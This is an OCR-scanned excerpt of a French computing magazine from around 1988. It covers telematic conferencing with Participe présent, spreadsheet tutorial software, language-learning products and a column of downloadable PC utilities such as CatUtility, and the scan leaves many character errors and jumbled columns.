DAO des lycées et LEP (180 
classes dotées en 1987 et 1988, 
1 080 micros), et celle des équipe- 
ments pour la bureautique (290 
classes dotées en 1987 et 1988, 
1 740 micros). 5 544 compatibles 
PC/AT seront installés à la fin de 
l'année. Quatre constructeurs se 
sont partagé le marché : Léanord, 
SMT/Goupil, IBM et Victor. Les 
programmes d'innovation techno- 
logique - utilisation pédagogique 
des images Spot, pilotage d'instru- 
ments scientifiques et expérimen- 
tation - testés sur les 28 acadé- 
mies, à raison d'un établissement 
par académie, se poursuivent. 
Pour le reste, les régions devront 
assurer le relais. ■ 



ssssss LA FRANCE 
BALBUTIE 

Il ne sera pas dit que le pays qui a donné 

vie au Minitel souffre de 

difficultés de communication. La conférence télématique 

réussira-t-eile là où les messageries d'entreprises 

échouent ? 



Devinette : quel est le point 
commun entre un candidat 
démocrate aux primaires américai- 
nes, le deuxième constructeur infor- 
matique mondial et une vénérable 
université française ? Réponse : tous 
trois ont recours aux vertus de la 
TCAO (conférence télématique 
assistée par otdinateur) et à celles 
du logiciel américain Partiripate de 
PSI-Neti (Participe présent en ver- 
sion française) pour communi- 
quer. Gary Hart, en bon < évangé- 
liste >, sème la bonne parole sut le 
réseau et informe ses ouailles de ses 
futurs meetings. Digital Equip- 



ment tisse une maille de 90 000 
postes de travail reliant 116000 
employés du monde entier via 
20 000 ordinateurs (progiciel : 
Vax Note et Partiripate). Enfin, 
l'université de Paris-Dauphine 
laisse trente-cinq étudiants-athlè- 
tes en maîtrise de gestion du sport 
se former et débattre sur leur sujet 
favori (voir encadré p. 188), à 
distance et en différé. 

Si la TCAO a facilement Des débuts 
conquis les Etats-Unis, en partie souslesigne 
.gtâce, à l'accident nudéane de ^g** 
Three Mile Island (mise en place ^^^^^^^ 
de la conférence sur la sécurité H 



< Nuclear Notepad > à l'initiative 
du tout-puissant Institute of Nu- 
clear Power Organization), elle a 
du ma! à s'imposer en France, où 
fleurissent les messageries de tous 
poils. Les raisons historiques abon- 
daient jusqu'à l'année dernière : 
serveurs implantés aux Etats-Unis, 
logiciels américains peu conviviaux 
et accessibles uniquement en mode 
ASCII, etc. 

Depuis la francisation et la 

< miniteliisation > de Partiapare 
par la société parisienne Double 
Hélice, et l'ouverture d'un serveur 
à Asnières en janvier 1987 (Prime 
2650, capacité de 300 Mo, 30 
accès simultanés), ces barrières 
tombent une à une. Reste le poids 



ces communs baptisés « conféren- 
ces >, que fréquentent de manière 
asynchrone tous ceux qui le sou- 
haitent. 

Ces conférences peuvent donner 
naissance à moult sous-conféren- 
ces, ouvertes à des groupes (d'au- 
tres sous-conférences par exemple) 
comme à des individus extérieurs, 
à la condition sine qua non qu'ils 
soient invités et montrent patte 
blanche. Et ainsi de suite selon une 
architecture arborescente évolu- 
tive... en sachant qu'il est décon- 
seillé de dépasser les cinquante 
participants sous peine de nager 
dans une intense confusion. 

Décidément très démocratique 
et participatif, Participe présent 



< compensa la séparation physi- 
que des participants et l'asynchro- 
nisme de la communication >, 
c'est-à-dire établir un contexte et 
des normes communes à tous les 
membres, définir et surveiller 
l'agenda, faire progresser la discus- 
sion en effectuant des synthèses au 
moment opportun, etc. Ses multi- 
ples pouvoirs lui confèrent la possi- 
bilité d'organiser des sondages, des 
votes ou autres QCM, ou de ren- 
voyer une personne invitée par 
erreur. 

Difficile de piratet ou de s'en- 



La relève 
viendra des 



dormir sur le réseau, une fonction "?gions. 

r.. .. . , ... Decentraltsa- 

< profil >, accessible a tous, indi- t ion oblige. 
que qui est invité, qui est actif, qui ^^^^^^™ 



: oublié > de se connecter et I 




des habitudes acquises. < Une 
masse inerte difficile à secouer >, 
aux dires de Marc Guillaume, père 
de la conférence de Paris IX- 
Dauphine et directeur de riris-TS 
{Institut de recherche et d'infor- 
mation socio-économique). Et 
pourtant, la conférence télémati- 
que présente un atout inestimable 
par rapport aux messageries pro- 
fessionnelles classiques : l'interac- 
tion de groupe autour d'un même 
thème. En deux mots : les infor- 
mations échangées ne sont plus 
stockées dans des boîtes aux lettres 
nominatives, mais dans des espa- 



(PP pour les intimes) permet à 
n'importe quel participant d'ou- 
vrir une sous-conférence en suivant 
un mode d'emploi standard : défi- 
nition du sujet, choix des person- 
nes à inviter, et paramétrage des 
droits accordés à chacun des mem- 
bres. Cela va du co-organisateur 
au simple lecteur sans possibilité 
d'écriture (fonction panneau d'af- 
fichage) ou vice versa (fonction 
comité de rédaction, jury de pro- 
position). Qé de voûté d'une 
conférence télématique, son créa- 
teur porte souvent la casquette de 
président de séance. Sa mission : 



quelles sont les sous-conférences. 
Si l'aspect policier électronique 
n'est pas très sympathique, au 
moins la barrière de l'anonymar 
est-elle levée... 

Attennon, qui dit conférence 
télématique n'exclut pas l'échange 
synchrone et le courrier électroni- 
que. Une grosse différence avec les 
messageries cependant, le système 
dépouille et classe le courrier en 
différents segments (notes urgen- 
tes, notes personnelles, sous-confé- 
rences, etc.). Naturellement, 
toutes les fonctions de base qui 
permettent à l'utilisateur de traiter 



La 
conférence 

télématique: 

les 

informations 

échangées 

sont 

stockées 

dans des 

espaces 

communs 

que 

fréquentent 

tous ceux qui 

souhaitent 

échanger 

des idées. 
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son casier - lire, écrire, envoyer, 
supprimer, chercher - sonr égale- 
ment accessibles en mode confé- 
rence. Si la lecture des messages 
s'effectue en ligne, une variante 
permet de « vider > sans interrup- 
tion l'intégralité du casier sur son 
micro pour le traitement de l'infor- 
mation en local. Idem pour l'écri- 
ture. Economie et confort obligent. 
Inutile de préciser que les posses- 
seurs de Minitel panent avec un 
sérieux handicap en attendant que 
le M 20 (Minitel intelligent) sorte 
du bois. 

Reste que pour s'initier aux 
joies de la communication et de la 
formation asynchrone, il faudra 
débourser la < modique somme > 
de 120 000 F (PP tourne sous 
Vax VMSD, Unix V et Primos) 
ou prendre un abonnement sur 
le serveur de k maison. Tarif : 
100 F/1'heure de connexion plus 
7 F/l'heure de coût de communi- 
cation sur Télétel 1. A k différence 
de Calvacom, Double Hélice vise 
exclusivement une clientèle profes- 
sionnelle. Le principal marché n'est 
pas celui que l'on croit. Selon 
Bettrand Lebret, directeur de 
Double Hélice, la conférence télé- 
matique aura du mal à percer dans 
les entreprises pour cause de sous- 
équipement informatique et de 
culture d'entreprise a protection- 
niste >. « La communication d'une 
division à l'autre est mal perçue, et 
même jugée dangeteuse >, cons- 
tare-t-il. 

En fait, < le véritable vecteur de 
pénétration en France sera la for- 
mation professionnelle à dis- 
tance >. Le succès de l'expérience 
de Dauphine en témoigne. Le 
mouvement évolue dans le même 
sens en Grande-Bretagne. L'Open 
University devrait mettre en place 
cette année une conférence téléma- 
tique pour dispenser ses cours d'in- 
formatique et de télématique. 
Mille étudiants ont été dotés 
d'Amstrad et de modems. ■ 




COURS MAGISTRAL OU DEBAT 

Phénomène rarissime dans l'Hexagone, c'est 
une vénérable institution - l'université de Paris 
IX-Dauphine - qui a ouvert la première ses portes 
à la conférence télématique, en accueillant, dès 
janvier 1987, une TCAO de formation avec Parti- 
cipe présent. Les cobayes : trente-cinq étudiants 
(douze en 1987) en maîtrise d'économie et de 
gestion du sport. 



Des étudiants, tous athlètes de 
haut niveau, d'où d'innombrables 
problèmes d'emploi du temps. 
Objectif ; < exploiter les fonction- 
nalités pédagogiques de la TCAO 
qui conjugue le tutorat individuel 
et collectif, et k pédagogie de 
Freinet fondée sur l'utilisation et k 
mise en valeur de relations trans- 
versales dans le groupe >, explique 
Marc Guillaume, professeur et ini- 
tiateur du projet. 



La sauce prend puisque les étu- 
diants ont passé en moyenne 25 
heures sur le réseau (beaucoup 
plus côté < prof », selon Marc 
Guillaume, qui estime avoir 
échangé 3 heures de cours hebdo- 
madaires contre 10 heures de Mi- 
nitel), ouvert 75 sous-conférences, 
réalisé plusieurs centaines de notes, 
monté une revue de presse on-lîne, 
etc. Le tout sous la houlette de 
quatre animateurs pédagogiques 
et tediniques locaux (prise en main 
du logiciel estimée à un mois), et 
avec ia participation d'Andrew 
Feenberg, le pape de la conférence 
télématique outre-Atlantique. Le 
pari n'était pas gagné d'avance. 



Le manque de culture informa- 
tique de l'étudiant français n'est 



pas un mythe. Sur trente-cinq 
élèves, seuls quatre ou cinq possé- 
daient un micro, aucun n'avait de 
modem. Le Minitel « des famil- 
les > se révèle une arme à double 
tranchant. Au-dek de textes de 
500 caractères, voire 200, tout 
lecteur normalement constirué se 
trouve saisi d'un mal de tête lanci- 
nant. Et tout le monde vous dira 
que taper 500 caractères sur le 
davier d'un Minitel n'est pas une 
sinécure... Heureusement, TUER 
d'économie appliquée, le banquier 
de l'histoire, dispose de 7 Goupil, 
reliefs d'IPT, équipés de cartes- 
modems et imprimantes et de 3 
terminaux mixtes Alcatel 252. 



Une question importante reste 
en suspens : qui paye ? C'est clair. 
Les coûts de communication sont à 
la charge des étudiants lorsqu'ils 
travaillent à domicile - « transpa- 
rents > aux dires de Claude 
Témin- Bertrand, une mordue de 
la première heure -, alors que les 
frais de serveur reviennent 
TUER. Budget semestriel 
60 000 F pris sur les crédits de 
formation professionnelle (taxe 
d'apprentissage) et sur des subven- 
tions de l'Education nationale. 
Signe de succès, Dauphine envi- 
sage aujourd'hui d'élargir l'expé- 
rience au magistère de finances. 



sre HYPERCALC 
ETMULTIPLAN 
FACILE 



Tous les « pros > vous le 

diront, les tableurs 

font désormais partie intégrante 

de la culture générale informatique. 

Reste que pour le commun 

des mortels, les mots 

< cellules >, « formules > et < macros 2 

sont encore impénétrables. 



Deux questions fondamenta- 
les se posent à tout utilisa- 
teur éventuel de tableurs. A quoi 
servent-ils ? Comment marchent- 
ils ? Ce ne sont pas les petits 
tutoriels fournis parfois avec les 
progiciels qui éclaireront sa lan- 
terne. Résultat classique : au bout 
d'une semaine, il arrivera peut- 
être, en ayant un oeil constamment 
posé sur le manuel, à employer 
1 5 % des potentialités du produit. 




Hypercalc de Sofria 
et Multiplan Facile de DDTEC 

sont deux viatiques, 
un peu originaux, pour le paradis 

des feuilles de calcul. 
Parmi beaucoup d'autres. 



Partant de ce constat, deux 
sociétés françaises Softia et 
DDTEC, ont développé des pro- 
duirs d 'autoformation plus pous- 
sés. Le premier, Hypercalc, s'atra- 
che à la compréhension et à 
l'utilisation des tableurs au sens 
large, le second, Multiplan Facile, 
à la manipuktion du Multiplan 3 
de Microsoft. Approche concep- 
tuelle d'un côté, formation opéra- 
tionnelle de l'autre, mais une 
même pédagogie : la pratique ; 
recours aux systèmes experts pour 
l'un, incrustation directe sur Mul- 
tiplan pour l'autre, mais une 



même caractéristique : la sou- 
plesse. Enfin, preuve irréfutable de 
leur complémentarité, les deux 
produits sont disrribués récipro- 
quement par les deux sociétés. 

Destiné < à enseigner, à résou- 
dre un problème avec un tableur >, 
Hypercalc se compose de cin- 
quante exercices articulés autour 
de quatre grands thèmes : k cons- 
truction d'un budget familial 
complet, le tableau d'amortisse- 
ment d'un prêt, la gestion d'éva- 
luation du prix de revient d'une 
automobile et un ensemble de jeux 
et de simulations (comptez 15 à 
20 mn par exercice). La présenta- 
tion ne varie guère d'un exercice à 
l'autre avec une fenêtre contenant 
l'énoncé du problème en haut de 
l'écran, un menu de commandes 
en bas (commandes du tableur, 
accès à des explications, à un cor- 
rigé automatique ou vérification 
de l'exercice pat le système) et 
deux tableaux au milieu. Celui de 
gauche, tableau de travail, doit 
être modifié ou complété par 
l'élève pour se calquer parfaite- 
ment sur celui de droite, le tableau 
but. Il ne s'agit pas d'ersatz, mais 
de « vrais > tableurs (interface- 
utilisateur de type Multiplan) 
aménagés de manière pédagogi- 
que. A k clé, par exemple, la 
possibilité d'attacher à une cellule 
plusieurs séquences d'explications. 

La grande particularité d'Hy- 
percalc vient de ses deux systèmes 
experts intégrés, qui personnalisent 
la formation. Intervenant comme 
le ferait un professeur, le système 
expert pédagogue construit un 
profil de l'élève et gère sa progres- 
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sion, lui proposant des exercices 
correspondant à ses performances 
sur les points précédents. 

Pour Gérard Weindenfeld de 
Softia, l'enjeu s'énonce ainsi : 
<: accélérer la progression de quel- 
qu'un qui est bon et ne pas décou- 
rager les autres >. Un second sys- 
tème expert assure une vérification 
du contenu, du contenant et veille 
à l'optimisation des fonctions (vé- 
rification des erreurs visuelles dans 
la saisie, des opérations de copie, 
des formats d'écriture, de la mise 
en pages, de l'équivalence des for- 
mules, etc.). Prix : 2 500 F ht. 
Softia compte vendre plusieurs 
centaines de didacticiels la pre- 
mière année en France. 

La problématique 
tableur 

La société anglaise Discovery 
Learning Company, qui mironne 
une version anglo-saxonne du pro- 
duit plus proche dans sa présenta- 
tion de Lotus 1-2-3 (sortie en 
septembre), espère suivre ces 
traces. A l'origine d'Hypercalc, le 
système-auteur Appât (10 000 F) 
permet de créer de nouveaux exer- 
cices qui seront reconnus par les 
systèmes experts. Défini par ses 
concepteurs comme un < généra- 
teur d'applications dans la problé- 
matique tableur >, Appât est ac- 
tuellement utilisé par Softia pour 
développer des programmes d'ap- 
prentissage de la comptabilité sur 
tableur (niveau CAP, BEP) et des 
financières desti- 
Education nationale. Même 
cible pour les didacticiels d'ap- 
prentissage des commentaires 
composés, des mathématiques en 
classe de seconde, de l'analyse de 
textes philosophiques et du ré- 
sumé de texte, quatre produits qui 
sortiront en coédition avec 
Cedic/Nathan au mois de sep- 
tembre prochain (développement 
sous le système-auteur Sève). 

Transfuge du Centre Mondial, 




FORMATION 



Softia (cinq personnes) est née en 
juin 1986. Elle devrait réaliser de 1 
à 1,5 million de ventes en 1988. 
Objectifs de Gérard Weindenfeld : 
tripler son chiffre d'affaires en 
1989, en s'ouvtant, s'il le faut, sur 
la prestation de services EIAO. 

Des didacticiels embarqués 

Changement de décor. Avec 
Multiplan Facile de DDTEC, 
nous inaugurons l'ère des didacti- 
ciels embarqués. Travaillant diree- 
rement sur Multiplan, Multiplan 
Facile assure tour à tour le rôle de 
guide et de garde-fou prenant la 
main sur le progiciel dans les 
séquences-cours et les corrections, 
ou s'effaçant presque complète- 
ment lors des exercices non direc- 
tifs. Trois avantages selon Marc 
Bûcheron : éviter le coût de déve- 
loppement d'une simulation, mais 
surtout créer les bons réflexes en 
mettant les élèves au contact du 
monde réel et permettre une meil- 
leure répartition de la formation 
dans le temps. Seize leçons inscrites 
au menu, se découpent en trois 
grandes parties : introduction, sa- 
voir-faire et perfectionnement 
(commandes avancées). 

Derrière Savoir-Faire se cache 
l'essentiel des connaissances indis- 
pensables à l'utilisateur moyen, 
soit lire et modifier un tableau, 
maîtriser les mécanismes de calcul 
et gérer l'édition et la sauvegarde 
d'une feuille. Chaque étape se 
conclut par un exercice de mise en 
situation, au cours duquel l'élève 
travaille en < liberté surveillée > sur 
Multiplan 3- Tant que la manipu- 
lation est correcte, le logiciel n'in- 
tervient pas. A chaque instant, 
l'accès est ouvert à une aide diffé- 
rentielle, à une correction automa- 
tique, ou l'application peut être 
quittée pour un retour au menu 
pour suivre un autre cours. Une 
feuille de roure est là, qui enregis- 
tre toutes les leçons consultées. 
Multiplan Facile a été retenu par 



Microsoft dans le cadre d'une opé- 
ration de promotion. Six mille 
exemplaires ont été distribués gra- 
tuitement au début de l'année aux 
acheteurs de Multiplan 3. 

La dé qui permet d'ouvrir des 
applications fermées telles que 
Multiplan se nomme Line (Lan- 
gage d'interaction pour une nou- 
velle ergonomie). Développé par 
DDTEC en Pascal (réécriture en 
C), Line est un langage pour écrire 
des dialogues homme-machine, à 
but pédagogique ou non. Il per- 
met également d'embarquer des 
autoformations sut des applica- 
tions tournant sur site centrai. Il 
vient alors habiller le logiciel 
d'émulation de terminal. Une ap- 
plication de ce type sous DPS 8 a 
été développée récemment' pour 
France Telecom. Actuellement en 
expérimentation à l'Education na- 
tionale, Line coûte 3 400 F. 

Revenons à Multiplan Facile et 
aux didacticiels embarqués. Pour 
DDTEC, l'idéal serair de commer- 
cialiser le didacticiel au même mo- 
ment que le logiciel-hôte. < C'est 
presque impossible pour les grands 
progiciels vedettes >, constate 
amèrement Marc Bûcheron, < les 
filiales françaises sont souvent de 
simples officines de vente, et nous 
avons arrèré depuis longremps de 
fantasmer sur les Etars-Unis. > 
< En essayant de faire preuve du 
moins d'inertie possible, on peut 
cependant téussir dans une straté- 
gie de suivi >, reconnaît Marc 
Bûcheron qui met une dernière 
touche à un « OS/2 facile », 
développé sur une nouvelle version 
de Line. « Il y a heureusement 
beaucoup à faire, dans une optique 
d'accompagnement, sur les appli- 
cations verticales ou spécifiques des 
grands comptes ou des sociétés de 
service >, conclut-il. 

Société employant quatorze sa- 
lariés, DDTEC a réalisé un chiffre 
d'affaires de 6,4 millions de francs 
en 1987 (2,3 MF de marge). ■ 
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LES LANGUES 



A l'heure où le mot Europe est sur toutes les lèvres, 
voici un aperçu de quelques produits 

de formation linguistique 
sur le réseau, sur micro ou sur vidéo. 



My Minitel is rich 

La télématique c'est bien, la 
télématique avec le son c'est 
mieux... surtour quand il s'agit 
d'enseigner une langue étrangère. 
Partant de ce principe irréfutable, 
le CPLE* de Roubaix, connu dans 
le milieu pour gérer le réseau des 
chambres de commerce Linguarel, 
vient d'inaugurer un système de 
tests téléphoniques automatique 
sûr le réseau commuté: Vous 
composez le 20 25 55 55, vous 
« tombez > sur un répondeur, 
vous écoutez attentivement ce 
qu'il vous dit (in english), vous 
répondez aux douze questions 
posées et, par retour du courrier, 
recevez une analyse de votre per- 
formance audiolinguistique. Prix : 
un timbre et une communication 
téléphonique. 

Cet audiophone sera couplé, 
dès septembre, avec le Minitel 
pour les cours et tests d'anglais. 
« Tout ce qui est synthèse vocale 
est pour l'instant exclu par faute 
d'équipement de type décodeur 
chez les clients, les cours sont 
prohibitifs >, commente M. Ni- 
quet, responsable du service, qui 
ajoute que < le client ne devrait pas 
dépenser plus de 3 F par appel . s 

Septembre devrait également 
voit le passage de Linguatel du 
36 15 ou 36 16 avec des tarifs à la 
hausse : 70 F/h. « Ce ne sera pas 
une simple duplication >, insiste 



1 ,111 



M. Niquet, < nous apportons de la 
valeur ajoutée avec une banque de 
données juridique er réglementaire 
européenne, des dictionnaires à 
vocation technique, etc. > Rappe- 
lons que Linguatel a été créé en 
1984. Signe de succès, le trafic 
s'élève aujourd'hui de 12 000 à 
15 000 appels par mois (60% 
pour les particuliers, 40 % pour les 
entreprises) totalisant 1 300 à 
1 500 heures de connexion. 

My micro is rich 

Décidément, les déboires de nos 
compatriotes avec la langue de 
Shakespeare font les beaux jours 
des éditeurs de logiciels. Trois nou- 
veaux venus, s'adressant au 
monde de l'entreprise, sortent sous 
le label Unicom. Avec 60 heures 
de formation chacun, Super Smidi 
(moyen-fort) et Smith Junior 
(moyen-faible) récapitulent 
d'abord les principales règles de 
grammaire, puis introduisent 
3 000 à 5 000 nouveaux mots 
courants ; le tout étant complété 
par 150 exercices (4 500 F ht sur 
PC XT/AT et compatibles). Plus 



Accent 

australien, 

anglais. 



canadien... 
pour 

apprendre 
l'anglais, il faut 

l'entendre. 
Dans toute sa 
diversité. 



'Centre pratique 
des langues 
étrangères. 



modeste, Take your Ticket II 
(faux débutants-moyen fort, 40 
heures de formation) a été conçu 
en collaboration avec la RATP. 
Prix : 3 800 Fht. Un produit 
destiné aux débutants, et utilisant 
les cassettes audio, sortira cet hiver 
sous le nom de Baby Junior. Uni- 
com propose également un logiciel 
d'initiation à l'italien du nom de II 
signor Rossi (faux débutants, 
3 600 F ht) et commercialisera 
d'ici quelques mois un didacticiel 
d'espagnol. 

My videodisc is rich 

Il fallait y penser. Talent est une 
collection d'une dizaine de cours à 
base de vidéo interactive (2 à 5 
modules chacun, 30 vidéodisques 
monofaces) produire par Interac- 
tive Information Systems qui fait 
fureur en Angleterre depuis plu- 
sieurs années. Le fin du fin quand 
on veut apptendre les ficelles du 
phone marketing, les techniques 
d'encadrement ou la rédaction 
professionnelle. D'un coup de ba- 
guette magique, LmpaQt (mem- 
bre du réseau IIS) vient de méta- 
morphoser ses 10 programmes 
d'autoformation au business, en 
anglais est-il besoin de le préciser, 
en 10 programmes d'autoforma- 
tion à l'anglais professionnel. Un 
manuel d'accompagnement spéci- 
fique à l'apprentissage linguistique 
sera disponible à la rentrée. Objec- 
tif de vente : un millier de modules 
(environ 300 programmes, un 
programme représente 3 à 4 mo- 
dules) la première année, principa- 
lement auprès des grands comptes 
et centres de formation. < D'ici 
deux ans, on pourra attaquer les 
PME >, estime Peter Isackson. Les 
programmes et le matériel sont 
disponibles en location ou à la 
vente (licence sur trois ans). 
Comptez 800 F ht de location à la 
semaine pour un module de for- 
mation et 3 800 F ht pour une 
configuration complète. ■ 
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CATUTIL GERE 
2 000 FICHIERS 

Les possesseurs de kits de téléchargement 
sont particulièrement gâtés ce mois-ci. En 
effet, quinze nouveaux logiciels viennent 
enrichir la base de données pour IBM PC et 
compatibles. Ainsi, la totalité des logiciels 
contenus dans les disquettes Feed PC 1 à 10 
peuvent être téléchargés séparément. Un 
tableau récapitule la liste complète de ces 
logiciels, avec le nom qui leur est attribué sur 
le serveur. Quant au logidel du mois, c'est 
probablement aujourd'hui une nécessité que 
de le posséder. En effet, si la bibliothèque de 
logiciels s'étoffe de jour en jour, il devient de 
plus en plus difficile de se souvenir sur quelle 
disquette a été enregistré tel ou tel utilitaire. 
Catutil gère autant de catalogues de 
disquettes que l'on souhaite, avec pour seule 
limite deux mille fichiers par catalogue. De 
quoi remplir ses armoires de disquettes. 

RICHARD BAZIN 




3615 CODE 01 °; tUalltï , { r h K T 

ww i *» wwwi- ■**■■ sous i e nom de Catutil) effec- 

IJJlWFTTcT^T^Ïl me ' es °pé raa0lls tfadition- 
imi3l£il*fciiUUàlI nelles nécessaires pour gérer 
Le programme ou le tableau une bibliorhèque de logiciels 
est disponible sur notre ou de f ichiers . rec herche de k 

service de té echarqement , ,. _ 

sous le nom ou des disquettes ou se rrouve 

ibm/UTIL/CATUTil un fichier, liste des fichiers 

Pour plus de détails d'une disquette, mise à jour 

v * du catalogue d'une disquette, 

impressions diverses, etc. Ra- 
pide dans ses recherches, Ca- 
tUtility gère jusqu'à deux mille fichiers par catalogue. Le 
logiciel est correctement autodocumenté en anglais. Pour ceux 



qui maîtrisent bien cette langue, il ne sera donc pas nécessaire 
de recourir à h documentation imprimée lors de l'utilisation 
régulière. 

CatUtility requiert pour son foncrjonnemenr un PC ou 
compatible doté d'une mémoire minimale de 128 Ko. Il crée 
des catalogues de fichiers, chaque catalogue contenant jusqu'à 
deux mille fichiers est otganisé en volumes. Un volume 
correspond au contenu d'une disquette ou d'un disque dur. Si 
une disquette ne possède pas de nom de volume ou si ce nom 
est déjà utilisé par ailleurs, CatUtility peut modifier le nom de 
la disquette. Pour cette raison, CatUtility ne peut fonctionner 
qu'avec des versions de DOS supérieures ou égales à 2.0. 

CatUtility prend en compte les sous-répertoires. Quand un 
volume est catalogué, tous les sous-répertoires de ce volume le 
sont aussi, avec les fichiers qu'ils contiennent, ce qui est 
intéressanr pour la gestion d'un disque dur. 

Après qu'un volume ait été catalogué, CatUtility peut être 
utilisé pour en examiner le contenu, y rechercher des fichiers 
spécifiques (CatUtility ne reconnaît pas les jokers), imprimer 
un rapport relatif au volume, imprimer une étiquette pour la 
disquette. Le format d'étiquettes ainsi que d'autres paramètres 
peuvent être changés grâce à la commande d'installation de 
CatUtility. Cette commande crée un fichier appelé CATU- 
TIL.CNF, qui est lu pendant l'initialisation du logiciel. 

Si une procédure particulière d'installation n'est pas suivie, 
les paramètres suivants seront appliqués : 

- si l'on dispose de plusieurs disquertes et d'un disque dur, le 
disque dur sera pris en compte pour le stockage du catalogue 
(CATALQG.DAT), sinon celui-ci résidera sur le disque A ; 

- le disque actif pour la mise en catalogue des disquettes sera le 
disque par défaut, tel qu'il aura été déterminé lors de 
rinirialisation. 

Ces deux paramètres peuvent être modifiés à tout moment 
en cours d'utilisation. 

Pendant l'installation, quatre points doivent être spécifiés : 

- le disque actif ; 

- le disque sur lequel doit résider le catalogue ; 

- le chargement automatique ou non du catalogue lors de 
l'initialisation ; 

- le format des étiquettes imprimées destinées à prendre place 
sur les disquettes. 

LES COMMANDES DE CATUTILITY 

Lors du démarrage, CatUtiliry affiche trois fenêtres. Celle du 
menu propose plusieurs options : Name Catalog file, Print 
Disk Labels, Quit CatUtility, Rename an entry, Save Catalog 
file, Update a volume, Volume a disk, Write a report. 

La liste des commandes apparaît en menu déroulant dans la 
fenêtre < main menu >. On peut pointer une commande et la 
valider avec Return, ou encore en taper la première lettre : elle 
sera alors exécutée. C'est approximativement le principe utilisé 
par des logiciels comme Word ou Multiplan. 

On peut, à tout moment, obtenir un texte d'aide simplifié 



relatif à une commande en k pointant avec le curseur et en 
appuyant sur la touche de fonction F 1 . La fenêtte de droite est 
utilisée pour l'affichage des fichiers ou des volumes ainsi que 
pour les demandes de confirmation (avant de quitter CatUti- 
lity, par exemple). La fenêtre du bas présente les fichiers 
sélectionnés et leurs caractéristiques, ou encore les menus d'aide 
lors de l'utilisation de la touche FI. 

Voici la liste des commandes de CatUtility et leur rôle : 
Build the screen : rafraîchissement de l'écran. A utiliser quand 
un événement a perturbé l'affichage, un message d'erreur du 
DOS, par exemple. 

Catalog a volume : le répertoire de k disquerre placée dans le 
drive actif sera ajouté au catalogue. 

Delete an entry : effacement de noms de fichiers figurant au 
catalogue. Cette commande peut être utilisée pour mettre à 
jour le catalogue lors d'interventions minimes sur la disquette 
ou pour effacer des fichiers < non significatifs > (READ.ME, 
COMMAND.COM, AUTOEXEC.BAT, parexemple). 
Examine a volume : consultation du contenu d'un volume 
(une disquette). Appuyer sur Rerurn pour examiner le volume 
choisi, sur Esc pour revenir au menu précédent. 
Find an entry : techerche d'un < item > dans le catalogue. On 
peur chercher un volume, un fichier ou un sous- répertoire. 
Get Catalog file : chargement d'un catalogue stocké sur 
disque. Si un seul caralogue esr actif, préférer la commande de 
chargemenr automatique de celui-ci (voir < Install CatUtil >), 
Help : affichage d'un menu d'aide concernanr la commande 
sur laquelle se trouve le curseur. 

Install CatUtil : modification des paramètres de CatUtility 
selon ses besoins. On peut changer le disque actif, le disque sur 
lequel doit résider le caralogue, indiquer le chargement 
automatique ou non du catalogue lots de l'initialisation, 
déterminer le format des étiquettes imprimées destinées à 
prendre place sur les disquettes. Le format des étiquetes est 
indiqué en utilisant un descriptif pouvant totaliser jusqu'à 255 
catacrères. Le descriptif par défaur est : "Volume : "V/"Date : 
"D/Time : "T/S" bytes available"/// qui ptoduit le format 
suivant: 

Volume : < nom du volume > 
Date : < Date > 
Time : < Heure > 

< octets dispo. > bytes available 

< 2 sauts de ligne > 

Le descriptif est interprété ainsi : 
° < texte > " Le texte entre guillemers esr imprimé 
V Volume 
D DateOJ-MMM-AA) 
T Heure de création du volume 
/ CR/LF (saut de ligne) 
! Form Feed (avance papier fin de page) 
Le caractère suivant le « > est un 
caractère de contrôle. Par exemple, [ est le caractère 
Escape. 



: : changement du nom de drivei cataloguer. 
Name Catalog file : modification du nom du catalogue. Par 
défaut, celui-d s'appelle CATALOG.DAT. 
Print Disk Labels : impression d'étiquertes destinées à prendre 
pkee sur les disquettes. 

Quit CatUtility : fin de session, quitter CatUtility. 
Rename an entry : renommer le nom d'un fichier du 



Save Catalog file : sauvegarde du catalogue sur le disque. A 

effectuer avant de quitter CatUtility. Le nom du catalogue peut 

être modifié avec k commande < Name Catalog file s . 

Update a volume : mise à jour à partir d'une disquette d'un 

volume existant déjà dans le catalogue. 

Volume a disk : œae commande sert à donner un nom de 

volume (LABEL au sens DOS) à une disquette, ou à modifier 

ce nom. 

Write a report : impression ou sortie-disque, pour édition 

ultérieure, d'un rapport sur le catalogue en cours. En cas de 

sortie-disque, le système laisse le choix d'un nom de fichier. 

Si ce programme vous paraît assez intéressant pour être 
utilisé régulièrement, envoyez une contribution de 30 $ aux 
auteurs. 

Auteur : Prince Software, 1600 Prince St., Suite # 500, 
Alexandria,VA22314 
Version testée: 1.0 
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IBM/UTIL/BATCH/BEEP1. Deux petires musiques au 
choix à l'appel de cet utilitaire qui pourra prendre place dans 
un fichier BAT. 

BM/UTIL/COMPARE. Ce logiciel compare deux fichiers- 
texte, et indique les différences rencontrées. Contrairement à 
son équivalent du DOS, il ne s'arrête pas, même s'il n'y a pas 
similitude. Il se contente de le mentionner et continue son 
exploration. 

IBM/JEU/COREWAR. Ce jeu (mais est-ce bien un jeu?) 
consiste à mettre face à face deux programmes dans une zone 
réservée de k mémoire de l'ordinateur. Celui qui reste seul a 
gagné. Un concept très subtil qui donne à réfléchir si on 
l'imagine dormant au fond de la mémoire d'un ordinateur : 
un < virus > informatique, en quelque sorte. 
IBM/UTIL/GESTION/DESKMATE. Ce logicié comprend 
les fonctions suivantes : bloc-notes, calculatrice, horloge avec 
alarme, commande de l'imprimante, composent de numétos 
de téléphone. A la différence de la majorité de ses homologues, 
il peut être utilisé en résident (DESKMATE /M, appel par 
Alt-M) ou en mode direct. 

D3M/UTIL/GETD1R. Logiciel de manipulation de fichiers. 
Tri de répertoires, changement d'attributs, effacement, etc. A 
l'inverse de ses homologues, GETDIR est résident. Autre 
particularité : il ne fonctionne pas sur AT et compatibles (!). 
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IBM/UTIL/GLOBALS. Sous le nom de GLOBALS.ARC, 
on trouve une librairie compressée d'utilitaires destinée à gérer 
l'environnement DOS pour mieux tirer parti de la structure en 
arbre des répertoires en ouvrant l'accès à des fichiers autres que 
EXE er COM (overkys par exemple). Requiert une bonne 
connaissance du DOS pour être mis en oeuvre. 
IBM/UT1L/GRABBÊR. Un logiciel très astucieux qui don- 
nera une allure toute professionnelle aux fichiers BATCH ou 
aux démonstrations de logiciel. Sur simple pression d'une 
combinaison de touches (Ctrl - ou Ctrl 1), il capture l'écran 
(rexre ou graphique) et crée un fichier COM qu'il suffira 
d'exécuter pour afficher l'écran capruré. 
D3M/JEU/K.ONG. Un jeu d'arcade classique, qui consiste à 
escalader un échafaudage du haur duquel un gorille lance des 
barils d'huile. 

